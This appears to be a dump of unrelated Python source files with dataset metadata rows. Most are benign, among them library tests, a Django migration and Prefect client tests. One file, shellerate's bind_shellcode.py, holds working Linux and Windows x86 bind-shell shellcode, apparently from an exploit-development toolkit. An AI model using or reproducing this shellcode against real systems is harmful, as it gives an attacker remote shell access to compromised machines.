self.app.config['MONGOALCHEMY_PORT'] = '42'
from flaskext.mongoalchemy import _get_mongo_uri
assert_equals(_get_mongo_uri(self.app), 'mongodb://database.lukehome.com:42')
def should_be_able_to_generate_an_uri_with_options(self):
self.app.config['MONGOALCHEMY_SERVER'] = 'database.lukehome.com'
self.app.config['MONGOALCHEMY_OPTIONS'] = 'safe=true'
from flaskext.mongoalchemy import _get_mongo_uri
assert_equals(_get_mongo_uri(self.app), 'mongodb://database.lukehome.com:27017/?safe=true')
| 48.868421 | 107 | 0.756058 | 249 | 1,857 | 5.204819 | 0.240964 | 0.075617 | 0.084877 | 0.154321 | 0.701389 | 0.701389 | 0.701389 | 0.626543 | 0.533951 | 0.533951 | 0 | 0.021465 | 0.147011 | 1,857 | 37 | 108 | 50.189189 | 0.796717 | 0.011847 | 0 | 0.3 | 0 | 0 | 0.225094 | 0.138934 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.2 | false | 0.1 | 0.266667 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
81090970d3e2ffebd4ddf36f5be01556eb6c9643 | 67 | py | Python | src/tfkerassurgeon/__init__.py | Raukk/tf-keras-surgeon | 4bd5bbee1619970f6eab9fd10baa7a7b95799fa3 | [
"MIT"
] | 33 | 2019-06-24T09:21:28.000Z | 2021-11-02T12:12:23.000Z | src/tfkerassurgeon/__init__.py | Raukk/tf-keras-surgeon | 4bd5bbee1619970f6eab9fd10baa7a7b95799fa3 | [
"MIT"
] | 10 | 2019-06-21T06:24:52.000Z | 2021-09-14T08:42:22.000Z | src/tfkerassurgeon/__init__.py | Raukk/tf-keras-surgeon | 4bd5bbee1619970f6eab9fd10baa7a7b95799fa3 | [
"MIT"
] | 9 | 2019-08-22T16:28:50.000Z | 2022-01-21T17:28:09.000Z | from tfkerassurgeon.surgeon import Surgeon
__version__ = '0.2.01'
| 16.75 | 42 | 0.791045 | 9 | 67 | 5.444444 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.067797 | 0.119403 | 67 | 3 | 43 | 22.333333 | 0.762712 | 0 | 0 | 0 | 0 | 0 | 0.089552 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
810d92e552a55c291876cc122a0763a2a1162c66 | 955 | py | Python | pymagnitude/third_party/allennlp/tests/models/esim_test.py | tpeng/magnitude | aec98628b5547773ca8c4114ec6d1ad51e21b230 | [
"MIT"
] | 1,520 | 2018-03-01T13:37:49.000Z | 2022-03-25T11:40:20.000Z | pymagnitude/third_party/allennlp/tests/models/esim_test.py | tpeng/magnitude | aec98628b5547773ca8c4114ec6d1ad51e21b230 | [
"MIT"
] | 87 | 2018-03-03T15:12:50.000Z | 2022-02-21T15:24:12.000Z | pymagnitude/third_party/allennlp/tests/models/esim_test.py | tpeng/magnitude | aec98628b5547773ca8c4114ec6d1ad51e21b230 | [
"MIT"
] | 121 | 2018-03-03T08:40:53.000Z | 2022-03-16T05:19:38.000Z | # pylint: disable=no-self-use,invalid-name
from __future__ import division
from __future__ import absolute_import
import numpy
from numpy.testing import assert_almost_equal
from allennlp.common.testing import ModelTestCase
class TestESIM(ModelTestCase):
def setUp(self):
super(TestESIM, self).setUp()
self.set_up_model(self.FIXTURES_ROOT / u'esim' / u'experiment.json',
self.FIXTURES_ROOT / u'data' / u'snli.jsonl')
def test_forward_pass_runs_correctly(self):
training_tensors = self.dataset.as_tensor_dict()
output_dict = self.model(**training_tensors)
assert_almost_equal(numpy.sum(output_dict[u"label_probs"][0].data.numpy(), -1), 1, decimal=6)
def test_model_can_train_save_and_load(self):
self.ensure_model_can_train_save_and_load(self.param_file)
def test_batch_predictions_are_consistent(self):
self.ensure_batch_predictions_are_consistent()
| 34.107143 | 101 | 0.73822 | 131 | 955 | 5.007634 | 0.519084 | 0.032012 | 0.04878 | 0.051829 | 0.085366 | 0.085366 | 0.085366 | 0 | 0 | 0 | 0 | 0.005038 | 0.168586 | 955 | 27 | 102 | 35.37037 | 0.821159 | 0.041885 | 0 | 0 | 0 | 0 | 0.048193 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 1 | 0.222222 | false | 0.055556 | 0.277778 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
811e0fca5f51d6509a5f8ac912b9cd4623dc6d90 | 57 | py | Python | homeassistant/components/notify_events/const.py | tbarbette/core | 8e58c3aa7bc8d2c2b09b6bd329daa1c092d52d3c | [
"Apache-2.0"
] | 30,023 | 2016-04-13T10:17:53.000Z | 2020-03-02T12:56:31.000Z | homeassistant/components/notify_events/const.py | jagadeeshvenkatesh/core | 1bd982668449815fee2105478569f8e4b5670add | [
"Apache-2.0"
] | 31,101 | 2020-03-02T13:00:16.000Z | 2022-03-31T23:57:36.000Z | homeassistant/components/notify_events/const.py | jagadeeshvenkatesh/core | 1bd982668449815fee2105478569f8e4b5670add | [
"Apache-2.0"
] | 11,956 | 2016-04-13T18:42:31.000Z | 2020-03-02T09:32:12.000Z | """Const for notify_events."""
DOMAIN = "notify_events"
| 14.25 | 30 | 0.701754 | 7 | 57 | 5.428571 | 0.714286 | 0.631579 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.122807 | 57 | 3 | 31 | 19 | 0.76 | 0.421053 | 0 | 0 | 0 | 0 | 0.481481 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
d4a75bbde530b12035f7aafaddc4f18130cfe0ad | 377 | py | Python | tembo/utils/__init__.py | tembo-core/tembo-notes | 3905c61b4da1734d256cf993cc1d265e2a072ec4 | [
"0BSD"
] | 1 | 2021-11-11T18:48:53.000Z | 2021-11-11T18:48:53.000Z | tembo/utils/__init__.py | tembo-core/tembo-notes | 3905c61b4da1734d256cf993cc1d265e2a072ec4 | [
"0BSD"
] | 14 | 2021-11-15T22:11:21.000Z | 2021-12-26T19:55:20.000Z | tembo/utils/__init__.py | tembo-core/tembo-notes | 3905c61b4da1734d256cf993cc1d265e2a072ec4 | [
"0BSD"
] | 1 | 2021-11-21T22:35:22.000Z | 2021-11-21T22:35:22.000Z | """Subpackage containing utility objects."""
from dataclasses import dataclass
@dataclass
class Success:
"""
A Tembo success object.
This is returned from [Page][tembo.journal.pages.ScopedPage] methods such as
[save_to_disk()][tembo.journal.pages.ScopedPage.save_to_disk]
Attributes:
message (str): A success message.
"""
message: str
| 19.842105 | 80 | 0.69496 | 45 | 377 | 5.733333 | 0.644444 | 0.093023 | 0.131783 | 0.209302 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.201592 | 377 | 18 | 81 | 20.944444 | 0.857143 | 0.671088 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.25 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
d4b6ed4438420c7d991f26816bc2002aa620e515 | 776 | py | Python | disturbance/migrations/0006_auto_20180618_1556.py | wilsonc86/ledger | a60a681e547f37e4ac81cb93dffaf90aea8c8151 | [
"Apache-2.0"
] | null | null | null | disturbance/migrations/0006_auto_20180618_1556.py | wilsonc86/ledger | a60a681e547f37e4ac81cb93dffaf90aea8c8151 | [
"Apache-2.0"
] | null | null | null | disturbance/migrations/0006_auto_20180618_1556.py | wilsonc86/ledger | a60a681e547f37e4ac81cb93dffaf90aea8c8151 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.10.8 on 2018-06-18 07:56
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('disturbance', '0005_auto_20180618_1123'),
]
operations = [
migrations.RemoveField(
model_name='proposalapprovergroup',
name='activities',
),
migrations.RemoveField(
model_name='proposalapprovergroup',
name='regions',
),
migrations.RemoveField(
model_name='proposalassessorgroup',
name='activities',
),
migrations.RemoveField(
model_name='proposalassessorgroup',
name='regions',
),
]
| 24.25 | 51 | 0.587629 | 64 | 776 | 6.9375 | 0.578125 | 0.189189 | 0.234234 | 0.27027 | 0.540541 | 0.540541 | 0 | 0 | 0 | 0 | 0 | 0.061338 | 0.306701 | 776 | 31 | 52 | 25.032258 | 0.763941 | 0.087629 | 0 | 0.666667 | 1 | 0 | 0.215603 | 0.151773 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.208333 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
d4b8e3aaecd6383f268534ad1f04127b7f6b0adc | 5,483 | py | Python | shellerate/payloads/bind_shellcode.py | thesp0nge/shellerate | a81823bab979a06f4cf937ba24372fc61015ec0f | [
"MIT"
] | 19 | 2019-05-24T13:40:13.000Z | 2022-03-14T20:25:07.000Z | shellerate/payloads/bind_shellcode.py | thesp0nge/shellerate | a81823bab979a06f4cf937ba24372fc61015ec0f | [
"MIT"
] | 1 | 2019-11-11T20:25:52.000Z | 2019-11-11T20:25:52.000Z | shellerate/payloads/bind_shellcode.py | thesp0nge/shellerate | a81823bab979a06f4cf937ba24372fc61015ec0f | [
"MIT"
] | 6 | 2019-07-20T16:08:23.000Z | 2021-01-26T00:10:49.000Z | import socket, binascii, logging
from shellerate import encoder
from shellerate import egg_hunter
class BindShellcode:
def __init__(self, port, arch, os):
self.port = port;
self.arch = arch;
self.os = os;
self.valid = False;
self.debug = False;
self.__shellcode = "";
self.__egg_hunter = False;
self.__egg_hunter_key = "\\x77\\x30\\x30\\x74"; # => w00t
self.__egg_hunter_code = ""
self.__egg_hunter_shellcode = ""
# Encoder stuff
self.__encode = False;
self.__encode_key = "deadbeef";
self.__encoded_shellcode = "";
def encode(self):
self.__encode = True;
def egg_hunter(self):
self.__egg_hunter = True;
def get_egg_hunter_code(self):
return self.__egg_hunter_code
def set_egg_hunter_key(self, key):
self.__egg_hunter_key = key;
def set_encoding_key(self, key):
self.__encode_key = key;
def shellcode(self):
# if self.__encode == True:
# return self.__encoded_shellcode;
if self.__egg_hunter == True:
return self.__egg_hunter_shellcode;
return self.__shellcode
def check(self):
self.valid = True;
if self.port < 1024 or self.port > 65535:
logging.debug("[!] invalid TCP port number: %d" % self.port);
self.valid = False
def __port_to_string(self):
no_port = socket.htons(self.port);
hex_no_port = hex(no_port)
h1 = hex_no_port[2:4]
h2 = hex_no_port[4:6]
if h1 == "":
h1 = "00"
if len(h1) == 1:
h1 = "0" + h1
if h2 == "":
h2 = "00"
if len(h2) == 1:
h2 = "0" + h2
hex_port_number = "\\x%s\\x%s" % (h2, h1)
return hex_port_number
def generate(self):
if self.os == "lin" and self.arch == "x86":
logging.debug("linux x86 bind shellcode")
self.__shellcode = "\\x31\\xc0\\x89\\xc3\\x89\\xc1\\x89\\xc2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x89\\xc3\\x31\\xc0\\x66\\xb8\\x69\\x01\\x31\\xc9\\x51\\x66\\x68" + self.__port_to_string() + "\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc9\\x31\\xc0\\x66\\xb8\\x6b\\x01\\xcd\\x80\\x31\\xc0\\x66\\xb8\\x6c\\x01\\x51\\x89\\xce\\x89\\xe1\\x89\\xe2\\xcd\\x80\\x89\\xc3\\x31\\xc9\\xb1\\x02\\x31\\xc0\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xb0\\x0b\\xcd\\x80";
if self.os == "win" and self.arch == "x86":
# this is plain msfvenom -p windows/shell_bind_tcp shellcode
logging.debug("windows x86 bind shellcode")
self.__shellcode = "\\xfc\\xe8\\x82\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xc0\\x64\\x8b\\x50\\x30\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\\x4a\\x26\\x31\\xff\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\\x0d\\x01\\xc7\\xe2\\xf2\\x52\\x57\\x8b\\x52\\x10\\x8b\\x4a\\x3c\\x8b\\x4c\\x11\\x78\\xe3\\x48\\x01\\xd1\\x51\\x8b\\x59\\x20\\x01\\xd3\\x8b\\x49\\x18\\xe3\\x3a\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\\xff\\xac\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf6\\x03\\x7d\\xf8\\x3b\\x7d\\x24\\x75\\xe4\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x5f\\x5f\\x5a\\x8b\\x12\\xeb\\x8d\\x5d\\x68\\x33\\x32\\x00\\x00\\x68\\x77\\x73\\x32\\x5f\\x54\\x68\\x4c\\x77\\x26\\x07\\xff\\xd5\\xb8\\x90\\x01\\x00\\x00\\x29\\xc4\\x54\\x50\\x68\\x29\\x80\\x6b\\x00\\xff\\xd5\\x6a\\x08\\x59\\x50\\xe2\\xfd\\x40\\x50\\x40\\x50\\x68\\xea\\x0f\\xdf\\xe0\\xff\\xd5\\x97\\x68\\x02\\x00" + self.__port_to_string() + "\\x89\\xe6\\x6a\\x10\\x56\\x57\\x68\\xc2\\xdb\\x37\\x67\\xff\\xd5\\x57\\x68\\xb7\\xe9\\x38\\xff\\xff\\xd5\\x57\\x68\\x74\\xec\\x3b\\xe1\\xff\\xd5\\x57\\x97\\x68\\x75\\x6e\\x4d\\x61\\xff\\xd5\\x68\\x63\\x6d\\x64\\x00\\x89\\xe3\\x57\\x57\\x57\\x31\\xf6\\x6a\\x12\\x59\\x56\\xe2\\xfd\\x66\\xc7\\x44\\x24\\x3c\\x01\\x01\\x8d\\x44\\x24\\x10\\xc6\\x00\\x44\\x54\\x50\\x56\\x56\\x56\\x46\\x56\\x4e\\x56\\x56\\x53\\x56\\x68\\x79\\xcc\\x3f\\x86\\xff\\xd5\\x89\\xe0\\x4e\\x56\\x46\\xff\\x30\\x68\\x08\\x87\\x1d\\x60\\xff\\xd5\\xbb\\xf0\\xb5\\xa2\\x56\\x68\\xa6\\x95\\xbd\\x9d\\xff\\xd5\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x53\\xff\\xd5"
if self.__encode:
logging.debug("Custom encoder called");
enc=encoder.Encoder(self.__shellcode, self.__encode_key)
self.__encoded_shellcode = enc.encode()
if self.__egg_hunter:
logging.debug("An egg it has been found... creating egg hunter shellcode");
egg = egg_hunter.EggHunter(self.__shellcode, self.__egg_hunter_key)
self.__egg_hunter_code = egg.hunter_code()
self.__egg_hunter_shellcode=egg.generate()
# else:
# self.__shellcode = "\\x31\\xc0\\x89\\xc3\\x89\\xc1\\x89\\xc2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x89\\xc3\\x31\\xc0\\x66\\xb8\\x69\\x01\\x31\\xc9\\x51\\x66\\x68" + self.__port_to_string() + "\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc9\\x31\\xc0\\x66\\xb8\\x6b\\x01\\xcd\\x80\\x31\\xc0\\x66\\xb8\\x6c\\x01\\x51\\x89\\xce\\x89\\xe1\\x89\\xe2\\xcd\\x80\\x89\\xc3\\x31\\xc9\\xb1\\x02\\x31\\xc0\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xb0\\x0b\\xcd\\x80";
| 50.768519 | 1,690 | 0.592194 | 884 | 5,483 | 3.521493 | 0.264706 | 0.057822 | 0.054288 | 0.023129 | 0.280437 | 0.23964 | 0.23964 | 0.217154 | 0.217154 | 0.217154 | 0 | 0.177142 | 0.152654 | 5,483 | 107 | 1,691 | 51.242991 | 0.492897 | 0.13095 | 0 | 0 | 0 | 0.058824 | 0.496424 | 0.451199 | 0 | 0 | 0 | 0 | 0 | 1 | 0.147059 | false | 0 | 0.044118 | 0.014706 | 0.264706 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
d4c73a72e322733e78c96438c5956d0082a7c48f | 319 | py | Python | ListsAdvanced/ZerosToBack.py | mironmiron3/SoftuniPythonFundamentals | 4f2d968250ae5c58c2b60242da013fe319781c6b | [
"MIT"
] | null | null | null | ListsAdvanced/ZerosToBack.py | mironmiron3/SoftuniPythonFundamentals | 4f2d968250ae5c58c2b60242da013fe319781c6b | [
"MIT"
] | null | null | null | ListsAdvanced/ZerosToBack.py | mironmiron3/SoftuniPythonFundamentals | 4f2d968250ae5c58c2b60242da013fe319781c6b | [
"MIT"
] | null | null | null | list_of_numbers_as_strings = input().split(", ")
for index in range(len(list_of_numbers_as_strings)):
number = int(list_of_numbers_as_strings[index])
if number == 0:
list_of_numbers_as_strings.remove(str(0))
list_of_numbers_as_strings.append(str(0))
print(list_of_numbers_as_strings)
| 31.9 | 53 | 0.727273 | 50 | 319 | 4.16 | 0.4 | 0.173077 | 0.375 | 0.432692 | 0.644231 | 0.221154 | 0 | 0 | 0 | 0 | 0 | 0.011278 | 0.166144 | 319 | 9 | 54 | 35.444444 | 0.770677 | 0 | 0 | 0 | 0 | 0 | 0.006452 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.142857 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
d4d979767d153a6dd69e371b88ceda20413effad | 56,585 | py | Python | tests/client/test_client.py | sp1thas/prefect | 6cb1b579a4aa6f047583f8583d6de2f4b3ba571f | [
"Apache-2.0"
] | 1 | 2021-08-14T17:05:48.000Z | 2021-08-14T17:05:48.000Z | tests/client/test_client.py | dburkhardt/prefect | d8871db6ee72bb3dbb4328ad9f5ddbb9a77579f6 | [
"Apache-2.0"
] | 6 | 2021-12-18T09:07:37.000Z | 2022-03-26T08:06:09.000Z | tests/client/test_client.py | dburkhardt/prefect | d8871db6ee72bb3dbb4328ad9f5ddbb9a77579f6 | [
"Apache-2.0"
] | null | null | null | import datetime
import json
import uuid
from unittest.mock import MagicMock
import marshmallow
import pendulum
import pytest
import requests
import toml
import prefect
from prefect.client.client import Client, FlowRunInfoResult, TaskRunInfoResult
from prefect.utilities.graphql import GraphQLResult
from prefect.engine.result import Result
from prefect.engine.state import Pending, Running, State
from prefect.environments.execution import LocalEnvironment
from prefect.storage import Local
from prefect.run_configs import LocalRun
from prefect.utilities.configuration import set_temporary_config
from prefect.exceptions import ClientError, AuthorizationError
from prefect.utilities.graphql import decompress
class TestClientAuthentication:
"""
These tests cover Client handling of API key based authentication
"""
def test_client_determines_api_key_in_expected_order(self):
# 1. Directly passed
# 2. From the config
# 3. From the disk
# No key should be present yet
client = Client()
assert client.api_key is None
# Save to disk
client = Client(api_key="DISK_KEY")
client.save_auth_to_disk()
# Set in config
with set_temporary_config({"cloud.api_key": "CONFIG_KEY"}):
# Should ignore config/disk
client = Client(api_key="DIRECT_KEY")
assert client.api_key == "DIRECT_KEY"
# Should load from config
client = Client()
assert client.api_key == "CONFIG_KEY"
# Should load from disk
client = Client()
assert client.api_key == "DISK_KEY"
def test_client_determines_tenant_id_in_expected_order(self):
# 1. Directly passed
# 2. From the config
# 3. From the disk
# No key should be present yet
client = Client()
assert client._tenant_id is None
# Save to disk (and set an API key so we don't enter API token logic)
client = Client(api_key="KEY", tenant_id="DISK_TENANT")
client.save_auth_to_disk()
# Set in config
with set_temporary_config({"cloud.tenant_id": "CONFIG_TENANT"}):
# Should ignore config/disk
client = Client(tenant_id="DIRECT_TENANT")
assert client._tenant_id == "DIRECT_TENANT"
# Should load from config
client = Client()
assert client._tenant_id == "CONFIG_TENANT"
# Should load from disk
client = Client()
assert client._tenant_id == "DISK_TENANT"
def test_client_save_auth_to_disk(self):
client = Client(api_key="KEY", tenant_id="ID")
client.save_auth_to_disk()
data = toml.loads(client._auth_file.read_text())
assert set(data.keys()) == {client._api_server_slug}
assert data[client._api_server_slug] == dict(api_key="KEY", tenant_id="ID")
old_key = client._api_server_slug
client.api_server = "foo"
client.api_key = "NEW_KEY"
client.tenant_id = "NEW_ID"
client.save_auth_to_disk()
data = toml.loads(client._auth_file.read_text())
assert set(data.keys()) == {client._api_server_slug, old_key}
assert data[client._api_server_slug] == dict(
api_key="NEW_KEY", tenant_id="NEW_ID"
)
# Old data is unchanged
assert data[old_key] == dict(api_key="KEY", tenant_id="ID")
def test_client_load_auth_from_disk(self):
client = Client(api_key="KEY", tenant_id="ID")
client.save_auth_to_disk()
client = Client()
assert client.api_key == "KEY"
assert client.tenant_id == "ID"
client._auth_file.write_text(
toml.dumps(
{
client._api_server_slug: {
"api_key": "NEW_KEY",
"tenant_id": "NEW_ID",
}
}
)
)
data = client.load_auth_from_disk()
# Does not mutate the client!
assert client.api_key == "KEY"
assert client.tenant_id == "ID"
assert data["api_key"] == "NEW_KEY"
assert data["tenant_id"] == "NEW_ID"
def test_client_sets_api_key_in_header(self, monkeypatch):
Session = MagicMock()
monkeypatch.setattr("requests.Session", Session)
client = Client(api_key="foo")
client.get("path")
headers = Session().get.call_args[1]["headers"]
assert "Authorization" in headers
assert headers["Authorization"] == "Bearer foo"
# Tenant id is _not_ included by default
assert "X-PREFECT-TENANT-ID" not in headers
def test_client_sets_tenant_id_in_header(self, monkeypatch):
Session = MagicMock()
monkeypatch.setattr("requests.Session", Session)
client = Client(api_key="foo", tenant_id="bar")
client.get("path")
headers = Session().get.call_args[1]["headers"]
assert "Authorization" in headers
assert headers["Authorization"] == "Bearer foo"
assert "X-PREFECT-TENANT-ID" in headers
assert headers["X-PREFECT-TENANT-ID"] == "bar"
def test_client_does_not_set_tenant_id_in_header_when_using_api_token(
self, monkeypatch
):
Session = MagicMock()
monkeypatch.setattr("requests.Session", Session)
client = Client(api_token="foo", tenant_id="bar")
client.get("path")
headers = Session().get.call_args[1]["headers"]
assert "X-PREFECT-TENANT-ID" not in headers
@pytest.mark.parametrize("tenant_id", [None, "id"])
def test_client_tenant_id_returns_set_tenant_or_queries(self, tenant_id):
client = Client(api_key="foo", tenant_id=tenant_id)
client._get_auth_tenant = MagicMock(return_value="id")
assert client.tenant_id == "id"
if not tenant_id:
client._get_auth_tenant.assert_called_once()
else:
client._get_auth_tenant.assert_not_called()
def test_client_tenant_id_backwards_compat_for_api_tokens(self, monkeypatch):
client = Client(api_token="foo")
client._init_tenant = MagicMock()
client.tenant_id
client._init_tenant.assert_called_once()
def test_client_tenant_id_gets_default_tenant_for_server(self):
with set_temporary_config({"backend": "server"}):
client = Client()
client._get_default_server_tenant = MagicMock(return_value="foo")
assert client.tenant_id == "foo"
client._get_default_server_tenant.assert_called_once()
def test_get_auth_tenant_queries_for_auth_info(self):
client = Client(api_key="foo")
client.graphql = MagicMock(
return_value=GraphQLResult({"data": {"auth_info": {"tenant_id": "id"}}})
)
assert client._get_auth_tenant() == "id"
client.graphql.assert_called_once_with({"query": {"auth_info": "tenant_id"}})
def test_get_auth_tenant_errors_with_api_token_as_keye(self):
client = Client(api_key="pretend-this-is-a-token")
client.graphql = MagicMock(
return_value=GraphQLResult({"data": {"auth_info": {"tenant_id": None}}})
)
with pytest.raises(
AuthorizationError, match="API token was used as an API key"
):
client._get_auth_tenant()
def test_get_auth_tenant_errors_without_auth_set(self):
client = Client()
with pytest.raises(ValueError, match="have not set an API key"):
assert client._get_auth_tenant() == "id"
def test_get_default_server_tenant_gets_first_tenant(self):
with set_temporary_config({"backend": "server"}):
client = Client()
client.graphql = MagicMock(
return_value=GraphQLResult(
{"data": {"tenant": [{"id": "id1"}, {"id": "id2"}]}}
)
)
assert client._get_default_server_tenant() == "id1"
client.graphql.assert_called_once_with({"query": {"tenant": {"id"}}})
def test_get_default_server_tenant_raises_on_no_tenants(self):
with set_temporary_config({"backend": "server"}):
client = Client()
client.graphql = MagicMock(
return_value=GraphQLResult({"data": {"tenant": []}})
)
with pytest.raises(ClientError, match="no tenant"):
client._get_default_server_tenant()
def test_client_posts_to_api_server(patch_post):
post = patch_post(dict(success=True))
with set_temporary_config(
{
"cloud.graphql": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
"backend": "cloud",
}
):
client = Client()
result = client.post("/foo/bar")
assert result == {"success": True}
assert post.called
assert post.call_args[0][0] == "http://my-cloud.foo/foo/bar"
def test_version_header(monkeypatch):
get = MagicMock()
session = MagicMock()
session.return_value.get = get
monkeypatch.setattr("requests.Session", session)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
client.get("/foo/bar")
assert get.call_args[1]["headers"]["X-PREFECT-CORE-VERSION"] == str(
prefect.__version__
)
def test_version_header_cant_be_overridden(monkeypatch):
get = MagicMock()
session = MagicMock()
session.return_value.get = get
monkeypatch.setattr("requests.Session", session)
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
client.get("/foo/bar", headers={"X-PREFECT-CORE-VERSION": "-1"})
assert get.call_args[1]["headers"]["X-PREFECT-CORE-VERSION"] == str(
prefect.__version__
)
def test_client_attached_headers(monkeypatch, cloud_api):
get = MagicMock()
session = MagicMock()
session.return_value.get = get
monkeypatch.setattr("requests.Session", session)
with set_temporary_config({"cloud.auth_token": "secret_token", "backend": "cloud"}):
client = Client()
assert client._attached_headers == {}
client.attach_headers({"1": "1"})
assert client._attached_headers == {"1": "1"}
client.attach_headers({"2": "2"})
assert client._attached_headers == {"1": "1", "2": "2"}
def test_client_posts_graphql_to_api_server(patch_post):
post = patch_post(dict(data=dict(success=True)))
with set_temporary_config(
{
"cloud.graphql": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
result = client.graphql("{projects{name}}")
assert result.data == {"success": True}
assert post.called
assert post.call_args[0][0] == "http://my-cloud.foo"
# test actual mutation and query handling
def test_graphql_errors_get_raised(patch_post):
patch_post(dict(data="42", errors=[{"GraphQL issue!": {}}]))
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
client = Client()
with pytest.raises(ClientError, match="GraphQL issue!"):
client.graphql("query: {}")
class TestClientGraphQLErrorHandling:
@pytest.fixture()
def patch_post_response(self, monkeypatch):
response = requests.Response()
response.status_code = 400
session = MagicMock()
session.return_value.post = MagicMock(return_value=response)
monkeypatch.setattr("requests.Session", session)
def get_client(self):
with set_temporary_config(
{
"cloud.api": "http://my-cloud.foo",
"cloud.auth_token": "secret_token",
"backend": "cloud",
}
):
return Client()
def test_graphql_errors_calls_formatter_and_displays(
self, patch_post_response, monkeypatch
):
formatter = MagicMock(return_value="Formatted graphql message")
monkeypatch.setattr(
"prefect.client.client.format_graphql_request_error", formatter
)
